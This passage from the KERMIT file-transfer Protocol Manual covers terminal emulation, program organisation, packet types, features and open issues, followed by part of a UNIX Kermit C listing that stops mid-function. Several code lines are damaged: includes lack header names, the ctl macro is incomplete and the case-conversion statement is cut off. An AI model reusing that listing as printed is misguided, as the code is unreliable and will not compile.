available. Several mechanisms are commonly used: - Continuously jump back and forth between the port status register and the console status register, checking the status bits for input available. This is only practical on single-user, single-process systems, where the CPU has nothing else to do. - Issue an ordinary blocking input request for the port, but enable in- terrupts on console input, or vice versa. - Handle port input in one process and console input in another, paral- Terminal Emulation Page 55 lel process. The UNIX KERMIT program listed in this manual uses this method. Any input at the port should be displayed immediately on the screen. Any input from the console should be output immediately to the port. In addition, if the connection is half duplex, console input should also be sent immediately to the screen. The terminal emulation code must examine each console character to determine whether it is the "escape character". If so, it should take the next character as a special command, which it executes. These commands are described above, in section 9.3. The terminal emulator should be able to send every ASCII character, NUL through DEL, and it should also be able to transmit a BREAK signal (BREAK is not a character, but an "escape" from ASCII transmission in which a 0 is put on the line for about a quarter of a second, regardless of the baud rate, with no framing bits). BREAK is important when communicating with various systems, such as IBM mainframes. Finally, it is sometimes necessary to perform certain transformations on the CR character that is normally typed to end a line of input. Some systems use LF, EOT, or other characters for this function. To complicate matters, intervening communications equipment (particularly the public packet-switched networks) may have their own independent requirements. Thus if using KERMIT to communicate over, say, TRANSPAC with a system that uses LF for end-of-line, it may be necessary to transform CR into LFCR (linefeed first -- the CR tells the network to send the packet, which will contain the LF, and the host uses the LF for termination). The user should be provided with a mechanism for specifying this transformation, a command like "SET CR sequence". Writing a KERMIT Program Page 56 11. Writing a KERMIT Program Before writing a new implementation of KERMIT or modifying an old one, first be sure to contact the KERMIT Distribution center at Columbia University to make sure that you're not duplicating someone else's effort, and that you have all the latest material to work from. If you do write or significantly modify (or document) a KERMIT program, please send it back to Columbia so that it can be included in the standard KERMIT distribution and others can benifit from it. It is only through this kind of sharing that KERMIT has grown from its modest beginnings to its present scale. The following sections provide some hints on KERMIT programming. 11.1. Program Organization A basic KERMIT implementation can usually be written as a relatively small program, self-contained in a single source file. However, it is often the case that a program written to run on one system will be adapted to run on other systems as well. In that case, it is best to avoid having totally divergent sources, because when new features are added to (or bugs fixed in) the system- independent parts of the program -- i.e. to the protocol itself -- only one im- plementation will reap the benefits initially, and the other will require pain- ful, error-prone "retrofitting" to bring it up to the same level. Thus, if there is any chance that a KERMIT program will run on more than one machine, or under more than one operating system, or support more than one kind of port or modem, etc, it is desirable to isolate the system-dependent parts in a way that makes the common parts usable by the various implementations. There are several approaches: 1. Runtime support. If possible, the program can inspect the hardware or inquire of the system about relevant parameters, and configure itself dynamically at startup time. This is hardly ever possible. 2. Conditional compilation (or assembly). If the number of systems or options to be supported is small, the system dependent code can be enclosed in conditional compilation brackets (like IF IBMPC .... ENDIF). An example is provided in UNIX KERMIT listing included with this manual. However, as the number of system dependencies to be supported grows, this method becomes unwieldy and error-prone -- installing support for system X tends to break the pre-existing support for system Y. 3. Modular composition. When there is a potentially large number of options a program should support, it should be broken up into separate modules (source files), with clearly specified, simple calling conventions. This allows people with new options to provide their own support for them in an easy way, without endangering any existing support. Suggested modules for a KERMIT program are: - System-Indendent protocol handling: state switching, packet formation, encoding (prefixing) and decoding, etc. - User Interface: the command parser. Putting this in a separate module allows plug-in of command parsers to suit the user's Writing a KERMIT Program Page 57 taste, to mimic the style of the host system command parser or some popular application, etc. - Screen i/o: This module would contain the screen control codes, cursor positioning routines, etc. - Port i/o: Allows support of various port hardware. This module can define the port status register location, the status bits, and so forth, and can implement the functions to read and write characters at the port. - Modem control: This module would support any kind of "intelligent" modem, which is not simply a transparent exten- sion of the communications port. Such modems may accept spe- cial commands to perform functions like dialing out, redialing a recent number, hanging up, etc., and may need special in- itialization (for instance, setting modem signals like DTR). - Console input: This module would supply the function to get characters from the console; it would know about the status register locations and bits, interrupt structure, key-to- character mappings, etc., and could also implement key redefinitions, keystroke macros, programmable function keys, expanded control and meta functions, etc. - Terminal Emulation: This module would interpret escape se- quences in the incoming character stream (obtained from the port i/o module) for the particular type of terminal being emu- lated and interpret them by making appropriate calls the the screen i/o module, and it would send user typein (obtained from the console input module) out the serial port (again using the port i/o module). Ideally, this module could be replacable by other modules to emulate different kinds of terminals (e.g. ANSI, VT52, ADM3A, etc). - File i/o: This module contains all the knowledge about the host system's file structure; how to open and close files, perform "get next file" operations, read and write files, determine and set their attributes, detect the end of a file, and so forth, and provides the functions, including buffering, to get a character from a file and put a character to a file. This module may also provide file management services for local files -- directory listings, deleting, renaming, copying, and so forth. - Definitions and Data: Separate modules might also be kept for compile-time parameter definitions and for global runtime data. Writing a KERMIT Program Page 58 11.2. Programming Language The language to be used in writing a KERMIT program is more than a matter of taste. The primary consideration is that the language provide the necessary functionality and speed. For instance, a microcomputer implementation of BASIC may not allow the kind of low-level access to device registers needed to do terminal emulation, or to detect console input during file transfer, or even if it can do these things, it might not be able to run fast enough do drive the communication line at the desired baud rate. The second consideration in choosing a language is portability. This is used in two senses: (1) whether the language is in the public domain (or, equiv- alently, provided "free" as part of the basic system), and (2) whether it is well standardized and in wide use on a variety of systems. A language that is portable in both senses is to be preferred. Whatever programming language is selected, it is important that all lines in the program source be kept to 80 characters or less (after expansion of tabs). This is because KERMIT material must often be shipped over RJE and other card- format communication links. In addition, it is important that the names of all files used in creating and supporting a particular KERMIT implementation be (possibly a subset) of the form NAME.TYPE, where NAME is limited to six characters, and TYPE is limited to three, and where the NAME of each file begin with a common 2 or 3 character prefix. This is so that all related files will be grouped together in an al- phabetic directory listing, and so when all of the hundreds of KERMIT related files are placed together on a tape, all names will be both legal and unique, especially on systems (like PDP-11 operating systems) with restrictive file naming conventions. 11.3. Documentation A new KERMIT program should be thoroughly documented; one of the hallmarks of KERMIT is its documentation. The documentation should be at both the user level (how to use the program, what the commands are, etc, similar to the documentation presently found in the Kermit Users Guide), and the implemen- tation level (describe system dependencies, give pointers for adapting to new systems, and so forth). In addition, programs themselves should contain copious commentary. Like program source, documentation should be kept within 80-character lines. If possible, a section for the implementation should be written for the KERMIT User Guide using the UNILOGIC Scribe formatting language (subsets of which are also to be found in some microcomputer text processing software such as Perfect Writer or Final Word), using the same general conventions as the existic Scribe-format implementation sections. KERMIT programs should also contain a revision history, in which each change is briefly explained, assigned an "edit number", and the programmer and site are identified. The lines or sections comprising the edit should be marked with the corresponding edit number, and the KERMIT program, upon startup, should an- nounce its version and edit numbers, so that when users complain of problems we will know what version of the program is in question. Writing a KERMIT Program Page 59 The version number changes when the functionality has been changed sufficiently to require major revisions of user documentation. The edit number should in- crease (monotonically, irrespective of version number) whenever a change is made to the program. The edit numbers are very important for program manage- ment; after shipping out a version of, say, CP/M KERMIT-80, we often receive many copies of it, each containing its own set of changes, which we must recon- cile in some manner. Edit numbers help a great deal here. 11.4. Bootstrapping Finally, a bootstrap procedure should be provided. KERMIT is generally dis- tributed on magnetic tape to large central sites; the users at those sites need ways of "downloading" the various implementations to their micros and other local systems. A simple bootstrap procedure would consist of precise instruc- tions on how to accomplish an "unguarded" capture of the program. Perhaps a simple, short program can be written for each each end that will do the job; listings and instructions can be provided for the user to type in and run these programs. Packet Format and Types Page 60 I. Packet Format and Types KERMIT Packet Layout: +------+-----+-----+------+------------+-------+ | MARK | LEN | SEQ | TYPE | DATA | CHECK | +------+-----+-----+------+------------+-------+ Send-Init Data Field Layout: 1 2 3 4 5 6 7 8 9 10... +------+------+------+------+------+------+------+------+------+------- | MAXL | TIME | NPAD | PADC | EOL | QCTL | QBIN | CHKT | REPT | CAPAS +------+------+------+------+------+------+------+------+------+------- KERMIT packet types and subtypes; required types are marked with an asterisk (*): Y* Acknowledge (ACK) N* Negative acknowledge (NAK) S* Send initiate (exchange parameters) I Initialize (exchange parameters) F* File header A File attributes D* Data packet Z* End of file (EOF) B* Break transmission (EOT) E* Error R Receive Initiate (ask the server to send the specified files) C Host Command K KERMIT Command T Reserved for internal use G Generic Kermit Command; Subcommands: I Login (or logout) C CWD, Change Working Directory L Bye F Finish D Directory U Disk Usage Query E Erase, Delete T Type R Rename K Copy W Who's logged in? M Short Message H Help Q Server Status Query P Program Invocation J Journal Control V Variable Set/Query List of Features Page 61 II. List of Features There's no true linear scale along which to rate Kermit implementations. A basic, minimal implementation provides file transfer in both directions, and, for microcomputers (PC's, workstations, other single user systems), terminal emulation. Even within this framework, there can be variations. For instance, can the program send a file group in a single command, or must a command be issued for each file? Can it time out? Here is a list of features that may be present; for any KERMIT implementation, the documentation should show whether these features exist, and how to invoke them. - File groups. Can it send a group of files with a single command, using "wildcard", pattern, or list notation? Can it successfully send or receive a group of files of mixed types? Can it recover from an error on a particular file and go on to the next one? Can it keep a log of the files involved showing the disposition of each? - Filenames. Can it take action to avoid overwriting a local file when a new file of the same name arrives? Can it convert filenames to and from legal or "normal form"? - File types. Can binary as well as text files be transmitted? - 8th-Bit prefixing. Can it send and receive 8-bit data through a 7-bit channel using the prefixing mechanism? - Repeat-Count processing. Can it send and receive data with repeated characters replaced by a prefix sequence? - Terminal Emulation. Does it have a terminal emulation facility? Does it provide various communication options, such as duplex, parity, and handshake selection? Can it transmit all ASCII charac- ters? Can it transmit BREAK? Can it log the remote session locally, to provide unguarded file capture? - Communications Options. Can duplex, parity, handshake, and line ter- minator be specified for file transfer? - Block Check Options. In addition to the basic single-character checksum, can the two-character checksum and the three-character CRC be selected? - Basic Server. Can it run in server mode, accepting commands to send or receive files, and to shut itself down? - Advanced Server. Can it accept server commands to delete files, provide directory listings, send messages, and forth? - Issue Commands to Server. Can it send commands to a server, and handle all possible responses? - Host Commands. Can it parse and send remote "host commands"? If it is a server, can it pass these commands to the host system command processor and return the results to the local user Kermit? - Interrupt File Transfers. Can it interrupt sending or receiving a List of Features Page 62 file? Can it respond to interrupt requests from the other side? - Local File Management Services. Are there commands to get local directory directory listings, delete local files, and so forth? - File Attributes. Can it send file attribute information about local files, and can deal with incoming file attribute information? Can alternate dispositions be specified. Can files be archived? - Debugging Capability. Can packet traffic be logged, examined, single-stepped? Unresolved Issues Page 63 III. Unresolved Issues KERMIT doesn't do everything. Here is a short list of things it doesn't do, or could do better. - KERMIT cannot be used through IBM 3270 protocol emulators. These are devices that allow asynchronous ASCII terminals or PCs to communicate with IBM mainframes as though they were synchronous full-screen dis- plays. The problems include: (a) the protocol converter translates from EBCDIC to ASCII -- that is, it assumes it is receiving EBCDIC when KERMIT is supposed to be sending ASCII -- according to its own translate table, which may vary from site to site, and is not a 1-to-1 mapping in any case; (b) non-printing control characters (like SOH) cannot be sent at all; (c) the protocol converter looks for 3270 formatting commands and translates them to escape sequences for the ASCII terminal, possibly modifying packet data; (d) the IBM system automatically pauses at the end of each screenful; (e) the protocol converter thinks it knows what is "on the screen" and may attempt to optimize. In general, one never knows exactly how a particular protocol converter will work, or how it may differ from another one. Still, it may be possible to work around these problems if the Ker- mits on either end are put into a special "3270 mode", "clear the screen" between each packet, and agree on some special convention for packet delimitation and data translation. - Control character prefixing. This can get pretty expensive for bi- nary files or other files that contain lots of control characters. Since most hosts won't choke on every single control character, it might be a good idea for each host to inform the other of what con- trol characters it can receive "bare". On the other hand, this could backfire when the two hosts are connected by a network or device that chokes on control characters that neither of the hosts choke on. For hardwired connections with no unknown factors, however, many control characters could be sent "bare". - When long sequences of characters in the control range are being sent, individually prefixing each character is costly. Shift-in/ shift-out codes might be used more effectively here. Same for long strings of characters with the parity bit on, when 8th-bit prefixing is being done. The cost would be yet another set of prefix charac- ters, and the associated complexity of packet formation and decoding. - In some situations, certain printable characters can't get through a communication link. For instance, a network terminal server might reserve "@" as its attention character. Should the protocol allow some way to encode such characters for translation? A set of user- definable escape sequences could be useful here. - Ironically, some systems do not fare well with KERMIT's small packet sizes. These are typically big mainframes that expect to communicate with block mode terminals, receiving thousands of characters at a time. Such systems find that KERMIT is simply too expensive to run. Meanwhile, other systems that can run KERMIT with no difficulty find the performance disappointing (the efficiency generally works out somewhere between 50 and 80 percent, i.e. data characters divided by the speed of the the transmission line, in characters per second). Unresolved Issues Page 64 These two problems could be solved in either of two ways: allow longer packets, or allow multiple data packets to be sent end to end. * Without changing the format or encoding of the packet control fields, it might be possible to have longer packets by reserving packet lengths of 0, 1, 2, 3 to be codes for bigger numbers like 200, 500, 1000, 2000. However, the longer the packet, the greater the probability of corruption, and the longer to retransmit once corrupted. In addition, the adequacy of the single-character block check would be much reduced for long packets; long packets should therefore be sent with type 2 or 3 block checks. * It would be possible to extend the protocol to allow transmis- sion of data packets while ACKs were still outstanding, and any ACK would be taken as an ACK for the specified packet and all previous ones. A limit on the number of outstanding ACKs could be agreed upon; the maximum size of this "floating window" would have to be less than 64, which is where KERMIT packet numbers wrap around, and the window could not extend over a wraparound or else KERMIT would have no way of knowing whether n times 64 packets had been skipped. A floating window of 8 and a packet size of 95 would give about the same effect as 700-character packets. A NAK would require the sender to back up all the way to the NAK'd packet. A future edition of the Protocol Manual might include a specification for floating windows. A KERMIT Program Page 65 IV. A KERMIT Program What follows is a listing of a real production version of KERMIT, written in 4 the C language . It is designed to run under various versions of the UNIX operating system. The basic KERMIT functionality is present, but very little in the way of optional features. Only the most rudimentary (UNIX-style) com- mand parser is provided. The program illustrates many of the considerations described in this manual, with respect to the protocol, the program design, and so forth. It must be emphasized that this is a bare minimum implementation of Kermit. Anyone writing a new Kermit from scratch is encouraged to look at the source for one of the more advanced implementations as a model (check the Kermit Users Guide for a list of KERMIT implementations and their features). Although you may not understand the language it's written in, there should be profuse com- ments that can be useful. The following program uses decimal notation for numbers, and tochar() rather than char() for integer-to-character conversion. /* * K e r m i t File Transfer Utility * * UNIX Kermit, Columbia University, 1981, 1982, 1983 * Bill Catchings, Bob Cattani, Chris Maio, Frank da Cruz, Alan Crosswell * * Also: Jim Guyton, Rand Corporation * Walter Underwood, Ford Aerospace * * usage: kermit c [lbe line baud escapechar] to connect * kermit s [d..iflb line baud] file ... to send files * kermit r [d..iflb line baud] to receive files * * where c=connect, s=send, r=receive, * d=debug, i=image mode, f=no filename conversion, l=tty line, * b=baud rate, e=escape char. * * For remote Kermit, format is either: * kermit r to receive files * or kermit s file ... to send files * */ _______________ 4 Kernighan & Ritchie, The C Programming Language: Prentice-Hall (1978) A KERMIT Program Page 66 /* * Modification History: * * Oct. 17 Included fixes from Alan Crosswell (CUCCA) for IBM_UTS: * - Changed MYEOL character from \n to \r. * - Change char to int in bufill so getc would return -1 on * EOF instead of 255 (-1 truncated to 8 bits) * - Added read() in rpack to eat the EOL character * - Added fflush() call in printmsg to force the output * NOTE: The last three changes are not conditionally compiled * since they should work equally well on any system. * * Changed Berkeley 4.x conditional compilation flag from * UNIX4X to UCB4X. * Added support for error packets and cleaned up the printing * routines. */ #include /* Standard UNIX definitions */ /* Conditional compilation for different machines/operating systems */ /* One and only one of the following lines should be 1 */ #define UCB4X 1 /* Berkeley 4.x UNIX */ #define TOPS_20 0 /* TOPS-20 */ #define IBM_UTS 0 /* Amdahl UTS on IBM systems */ #define VAX_VMS 0 /* VAX/VMS (not yet implemented) */ /* Conditional compilation for the different Unix variants */ /* 0 means don't compile it, nonzero means do */ #if UCB4X #define V6_LIBS 0 /* Dont't use retrofit libraries */ #define NO_FIONREAD 0 /* We have ioctl(FIONREAD,...) for flushinput() */ #define NO_TANDEM 0 /* We have TANDEM line discipline (xon/xoff) */ #endif #if IBM_UTS #define V6_LIBS 0 /* Don't use retrofit libraries */ #define NO_FIONREAD 1 /* No ioctl(FIONREAD,...) for flushinput() */ #define NO_TANDEM 1 /* No TANDEM line discipline (xon/xoff) */ #endif #if V6_LIBS #include #include #include #else #include #include #include #endif A KERMIT Program Page 67 #if NO_TANDEM #define TANDEM 0 /* define it to be nothing if it's unsupported */ #endif /* Symbol Definitions */ #define MAXPACKSIZ 94 /* Maximum packet size */ #define SOH 1 /* Start of header */ #define CR 13 /* ASCII Carriage Return */ #define SP 32 /* ASCII space */ #define DEL 127 /* Delete (rubout) */ #define ESCCHR '` /* Default escape character for CONNECT */ #define MAXTRY 10 /* Times to retry a packet */ #define MYQUOTE '#' /* Quote character I will use */ #define MYPAD 0 /* Number of padding characters I will need */ #define MYPCHAR 0 /* Padding character I need (NULL) */ #if IBM_UTS #define MYEOL '\r' /* End-Of-Line character for UTS systems */ #else #define MYEOL '\n' /* End-Of-Line character I need */ #endif #define MYTIME 10 /* Seconds after which I should be timed out */ #define MAXTIM 60 /* Maximum timeout interval */ #define MINTIM 2 /* Minumum timeout interval */ #define TRUE -1 /* Boolean constants */ #define FALSE 0 /* Macro Definitions */ /* * tochar: converts a control character to a printable one by adding a space. * * unchar: undoes tochar. * * ctl: converts between control characters and printable characters by * toggling the control bit (ie. ?A becomes A and A becomes ?A). */ #define tochar(ch) ((ch) + ' ') #define unchar(ch) ((ch) - ' ') #define ctl(ch) ((ch) ? 64 ) /* Global Variables */ A KERMIT Program Page 68 int size, /* Size of present data */ rpsiz, /* Maximum receive packet size */ spsiz, /* Maximum send packet size */ pad, /* How much padding to send */ timint, /* Timeout for foreign host on sends */ n, /* Packet number */ numtry, /* Times this packet retried */ oldtry, /* Times previous packet retried */ ttyfd, /* File descriptor of tty for I/O, 0 if remote */ remote, /* -1 means we're a remote kermit */ image, /* -1 means 8-bit mode */ debug, /* indicates level of debugging output (0=none) */ filnamcnv, /* -1 means do file name case conversions */ filecount; /* Number of files left to send */ char state, /* Present state of the automaton */ padchar, /* Padding character to send */ eol, /* End-Of-Line character to send */ escchr, /* Connect command escape character */ quote, /* Quote character in incoming data */ **filelist, /* List of files to be sent */ *filnam, /* Current file name */ recpkt[MAXPACKSIZ], /* Receive packet buffer */ packet[MAXPACKSIZ]; /* Packet buffer */ FILE *fp, /* File pointer for current disk file */ *log; /* File pointer for Logfile */ jmp_buf env; /* Environment ptr for timeout longjump */ /* * m a i n * * Main routine - parse command and options, set up the * tty lines, and dispatch to the appropriate routine. */ main(argc,argv) int argc; /* Character pointers to and count of */ char **argv; /* command line arguments */ { char *ttyname, /* tty name for LINE argument */ *cp; /* char pointer */ int speed, /* speed of assigned tty, */ cflg, rflg, sflg; /* flags for CONNECT, RECEIVE, SEND */ struct sgttyb rawmode, /* Controlling tty raw mode */ cookedmode, /* Controlling tty cooked mode */ ttymode; /* mode of tty line in LINE option */ if (argc < 2) usage(); /* Make sure there's a command line */ cp = *++argv; argv++; argc -= 2; /* Set up pointers to args */ A KERMIT Program Page 69 /* Initialize these values and hope the first packet will get across OK */ eol = CR; /* EOL for outgoing packets */ quote = '#'; /* Standard control-quote char "#" */ pad = 0; /* No padding */ padchar = NULL; /* Use null if any padding wanted */ speed = cflg = sflg = rflg = 0; /* Turn off all parse flags */ ttyname = 0; /* Default is remote mode */ #if UCB4X /* Default to 7-bit masking, CRLF */ image = FALSE; /* translation and filename case */ filnamcnv = TRUE; /* conversion for UNIX systems */ #else image = TRUE; /* Default to no processing for */ filnamcnv = FALSE; /* non-UNIX systems */ #endif escchr = ESCCHR; /* Default escape character */ while ((*cp) != NULL) /* Parse characters in first arg. */ switch (*cp++) { case 'c': cflg++; break; /* C = Connect command */ case 's': sflg++; break; /* S = Send command */ case 'r': rflg++; break; /* R = Receive command */ case 'd': /* D = Increment debug mode count */ debug++; break; case 'f': filnamcnv = FALSE; /* F = don't do case conversion */ break; /* on filenames */ case 'i': /* I = Image (8-bit) mode */ image = TRUE; break; /* (this is default for non-UNIX) */ case 'l': /* L = specify tty line to use */ if (argc--) ttyname = *argv++; else usage(); if (debug) printf("Line to remote host is %s\n",ttyname); break; case 'e': /* E = specify escape char */ if (argc--) escchr = **argv++; else usage(); if (debug) printf("Escape char is \"%c\"\n",escchr); break; A KERMIT Program Page 70 case 'b': /* B = specify baud rate */ #if UCB4X if (argc--) speed = atoi(*argv++); else usage(); if (debug) printf("Line speed to remote host is %d\n",speed); break; #else printmsg("Speed setting implemented for Unix only."); exit(1); #endif } /* Done parsing */ if ((cflg+sflg+rflg) != 1) /* Only one command allowed */ usage(); if (ttyname) /* If LINE was specified, we */ { /* operate in local mode */ ttyfd = open(ttyname,2); /* Open the tty line */ if (ttyfd < 0) { printmsg("Cannot open %s",ttyname); exit(1); } remote = FALSE; /* Indicate we're in local mode */ } else /* No LINE specified so we operate */ { /* in remote mode (ie. controlling */ ttyfd = 0; /* tty is the communications line) */ remote = TRUE; } /* Put the proper tty into the correct mode */ if (remote) /* If remote, use controlling tty */ { gtty(0,&cookedmode); /* Save current mode so we can */ gtty(0,&rawmode); /* restore it later */ rawmode.sg_flags |= (RAW|TANDEM); rawmode.sg_flags &= ~(ECHO|CRMOD); stty(0,&rawmode); /* Put tty in raw mode */ } else /* Local, use assigned line */ { gtty(ttyfd,&ttymode); ttymode.sg_flags |= (RAW|TANDEM); ttymode.sg_flags &= ~(ECHO|CRMOD); A KERMIT Program Page 71 #if UCB4X /* Speed changing for UNIX only */ if (speed) /* User specified a speed? */ { switch(speed) /* Get internal system code */ { case 110: speed = B110; break; case 150: speed = B150; break; case 300: speed = B300; break; case 1200: speed = B1200; break; case 2400: speed = B2400; break; case 4800: speed = B4800; break; case 9600: speed = B9600; break; default: printmsg("Bad line speed."); exit(1); } ttymode.sg_ispeed = speed; ttymode.sg_ospeed = speed; } #endif /* UCB4X */ stty(ttyfd,&ttymode); /* Put asg'd tty in raw mode */ } /* All set up, now execute the command that was given. */ if (debug) { printf("Debugging level = %d\n\n",debug); if (cflg) printf("Connect command\n\n"); if (sflg) printf("Send command\n\n"); if (rflg) printf("Receive command\n\n"); } if (cflg) connect(); /* Connect command */ if (sflg) /* Send command */ { if (argc--) filnam = *argv++; /* Get file to send */ else { if (remote) stty(0,&cookedmode); /* Restore controlling tty's modes */ usage(); /* and give error */ } fp = NULL; /* Indicate no file open yet */ filelist = argv; /* Set up the rest of the file list */ filecount = argc; /* Number of files left to send */ if (sendsw() == FALSE) /* Send the file(s) */ printmsg("Send failed."); /* Report failure */ else /* or */ printmsg("done."); /* success */ } A KERMIT Program Page 72 if (rflg) /* Receive command */ { if (recsw() == FALSE) /* Receive the file(s) */ printmsg("Receive failed."); else /* Report failure */ printmsg("done."); /* or success */ } if (remote) stty(0,&cookedmode); /* Restore controlling tty's modes */ } /* * s e n d s w * * Sendsw is the state table switcher for sending files. It loops until * either it finishes, or an error is encountered. The routines called * by sendsw are responsible for changing the state. * */ sendsw() { char sinit(), sfile(), sdata(), seof(), sbreak(); state = 'S'; /* Send initiate is the start state */ n = 0; /* Initialize message number */ numtry = 0; /* Say no tries yet */ while(TRUE) /* Do this as long as necessary */ { if (debug) printf("sendsw state: %c\n",state); switch(state) { case 'S': state = sinit(); break; /* Send-Init */ case 'F': state = sfile(); break; /* Send-File */ case 'D': state = sdata(); break; /* Send-Data */ case 'Z': state = seof(); break; /* Send-End-of-File */ case 'B': state = sbreak(); break; /* Send-Break */ case 'C': return (TRUE); /* Complete */ case 'A': return (FALSE); /* "Abort" */ default: return (FALSE); /* Unknown, fail */ } } } /* * s i n i t * * Send Initiate: send this host's parameters and get other side's back. */ char sinit() { int num, len; /* Packet number, length */ A KERMIT Program Page 73 if (numtry++ > MAXTRY) return('A'); /* If too many tries, give up */ spar(packet); /* Fill up init info packet */ flushinput(); /* Flush pending input */ spack('S',n,6,packet); /* Send an S packet */ switch(rpack(&len,&num,recpkt)) /* What was the reply? */ { case 'N': return(state); /* NAK, try it again */ case 'Y': /* ACK */ if (n != num) /* If wrong ACK, stay in S state */ return(state); /* and try again */ rpar(recpkt); /* Get other side's init info */ if (eol == 0) eol = '\n'; /* Check and set defaults */ if (quote == 0) quote = '#'; numtry = 0; /* Reset try counter */ n = (n+1)%64; /* Bump packet count */ return('F'); /* OK, switch state to F */ case 'E': /* Error packet received */ prerrpkt(recpkt); /* Print it out and */ return('A'); /* abort */ case FALSE: return(state); /* Receive failure, try again */ default: return('A'); /* Anything else, just "abort" */ } } /* * s f i l e * * Send File Header. */ char sfile() { int num, len; /* Packet number, length */ char filnam1[50], /* Converted file name */ *newfilnam, /* Pointer to file name to send */ *cp; /* char pointer */ if (numtry++ > MAXTRY) return('A'); /* If too many tries, give up */ A KERMIT Program Page 74 if (fp == NULL) /* If not already open, */ { if (debug) printf(" Opening %s for sending.\n",filnam); fp = fopen(filnam,"r"); /* open the file to be sent */ if (fp == NULL) /* If bad file pointer, give up */ { error("Cannot open file %s",filnam); return('A'); } } strcpy(filnam1, filnam); /* Copy file name */ newfilnam = cp = filnam1; while (*cp != '\0') /* Strip off all leading directory */ if (*cp++ == '/') /* names (ie. up to the last /). */ newfilnam = cp; if (filnamcnv) /* Convert lower case to upper */ for (cp = newfilnam; *cp != '\0'; cp++) if (*cp >= 'a' && *cp <= 'z') *cp len = cp - newfilnam; /* Compute length of new filename */ printmsg("Sending %s as %s",filnam,newfilnam); spack('F',n,len,newfilnam); /* Send an F packet */ switch(rpack(&len,&num,recpkt)) /* What was the reply? */ { case 'N': /* NAK, just stay in this state, */ num = (--num<0 ? 63:num); /* unless it's NAK for next packet */ if (n != num) /* which is just like an ACK for */ return(state); /* this packet so fall thru to... */ case 'Y': /* ACK */ if (n != num) return(state); /* If wrong ACK, stay in F state */ numtry = 0; /* Reset try counter */ n = (n+1)%64; /* Bump packet count */ size = bufill(packet); /* Get first data from file */ return('D'); /* Switch state to D */ case 'E': /* Error packet received */ prerrpkt(recpkt); /* Print it out and */ return('A'); /* abort */ case FALSE: return(state); /* Receive failure, stay in F state */ default: return('A'); /* Something else, just "abort" */ } } A KERMIT Program Page 75 /* * s d a t a * * Send File Data */ char sdata() { int num, len; /* Packet number, length */ if (numtry++ > MAXTRY) return('A'); /* If too many tries, give up */ spack('D',n,size,packet); /* Send a D packet */ switch(rpack(&len,&num,recpkt)) /* What was the reply? */ { case 'N': /* NAK, just stay in this state, */ num = (--num<0 ? 63:num); /* unless it's NAK for next packet */ if (n != num) /* which is just like an ACK for */ return(state); /* this packet so fall thru to... */ case 'Y': /* ACK */ if (n != num) return(state); /* If wrong ACK, fail */ numtry = 0; /* Reset try counter */ n = (n+1)%64; /* Bump packet count */ if ((size = bufill(packet)) == EOF) /* Get data from file */ return('Z'); /* If EOF set state to that */ return('D'); /* Got data, stay in state D */ case 'E': /* Error packet received */ prerrpkt(recpkt); /* Print it out and */ return('A'); /* abort */ case FALSE: return(state); /* Receive failure, stay in D */ default: return('A'); /* Anything else, "abort" */ } } /* * s e o f * * Send End-Of-File. */ char seof() { int num, len; /* Packet number, length */ if (numtry++ > MAXTRY) return('A'); /* If too many tries, "abort" */ A KERMIT Program Page 76 spack('Z',n,0,packet); /* Send a 'Z' packet */ switch(rpack(&len,&num,recpkt)) /* What was the reply? */ { case 'N': /* NAK, just stay in this state, */ num = (--num<0 ? 63:num); /* unless it's NAK for next packet, */ if (n != num) /* which is just like an ACK for */ return(state); /* this packet so fall thru to... */ case 'Y': /* ACK */ if (n != num) return(state); /* If wrong ACK, hold out */ numtry = 0; /* Reset try counter */ n = (n+1)%64; /* and bump packet count */ if (debug) printf(" Closing input file %s, ",filnam); fclose(fp); /* Close the input file */ fp = NULL; /* Set flag indicating no file open */ if (debug) printf("looking for next file...\n"); if (gnxtfl() == FALSE) /* No more files go? */ return('B'); /* if not, break, EOT, all done */ if (debug) printf(" New file is %s\n",filnam); return('F'); /* More files, switch state to F */ case 'E': /* Error packet received */ prerrpkt(recpkt); /* Print it out and */ return('A'); /* abort */ case FALSE: return(state); /* Receive failure, stay in Z */ default: return('A'); /* Something else, "abort" */ } } /* * s b r e a k * * Send Break (EOT) */ char sbreak() { int num, len; /* Packet number, length */ if (numtry++ > MAXTRY) return('A'); /* If too many tries "abort" */ spack('B',n,0,packet); /* Send a B packet */ switch (rpack(&len,&num,recpkt)) /* What was the reply? */ { case 'N': /* NAK, just stay in this state, */ num = (--num<0 ? 63:num); /* unless NAK for previous packet, */ if (n != num) /* which is just like an ACK for */ return(state); /* this packet so fall thru to... */ A KERMIT Program Page 77 case 'Y': /* ACK */ if (n != num) return(state); /* If wrong ACK, fail */ numtry = 0; /* Reset try counter */ n = (n+1)%64; /* and bump packet count */ return('C'); /* Switch state to Complete */ case 'E': /* Error packet received */ prerrpkt(recpkt); /* Print it out and */ return('A'); /* abort */ case FALSE: return(state); /* Receive failure, stay in B */ default: return ('A'); /* Other, "abort" */ } } /* * r e c s w * * This is the state table switcher for receiving files. */ recsw() { char rinit(), rfile(), rdata(); /* Use these procedures */ state = 'R'; /* Receive-Init is the start state */ n = 0; /* Initialize message number */ numtry = 0; /* Say no tries yet */ while(TRUE) { if (debug) printf(" recsw state: %c\n",state); switch(state) /* Do until done */ { case 'R': state = rinit(); break; /* Receive-Init */ case 'F': state = rfile(); break; /* Receive-File */ case 'D': state = rdata(); break; /* Receive-Data */ case 'C': return(TRUE); /* Complete state */ case 'A': return(FALSE); /* "Abort" state */ } } } /* * r i n i t * * Receive Initialization */ char rinit() { int len, num; /* Packet length, number */ A KERMIT Program Page 78 if (numtry++ > MAXTRY) return('A'); /* If too many tries, "abort" */ switch(rpack(&len,&num,packet)) /* Get a packet */ { case 'S': /* Send-Init */ rpar(packet); /* Get the other side's init data */ spar(packet); /* Fill up packet with my init info */ spack('Y',n,6,packet); /* ACK with my parameters */ oldtry = numtry; /* Save old try count */ numtry = 0; /* Start a new counter */ n = (n+1)%64; /* Bump packet number, mod 64 */ return('F'); /* Enter File-Receive state */ case 'E': /* Error packet received */ prerrpkt(recpkt); /* Print it out and */ return('A'); /* abort */ case FALSE: /* Didn't get packet */ spack('N',n,0,0); /* Return a NAK */ return(state); /* Keep trying */ default: return('A'); /* Some other packet type, "abort" */ } } /* * r f i l e * * Receive File Header */ char rfile() { int num, len; /* Packet number, length */ char filnam1[50]; /* Holds the converted file name */ if (numtry++ > MAXTRY) return('A'); /* "abort" if too many tries */ switch(rpack(&len,&num,packet)) /* Get a packet */ { case 'S': /* Send-Init, maybe our ACK lost */ if (oldtry++ > MAXTRY) return('A'); /* If too many tries "abort" */ if (num == ((n==0) ? 63:n-1)) /* Previous packet, mod 64? */ { /* Yes, ACK it again with 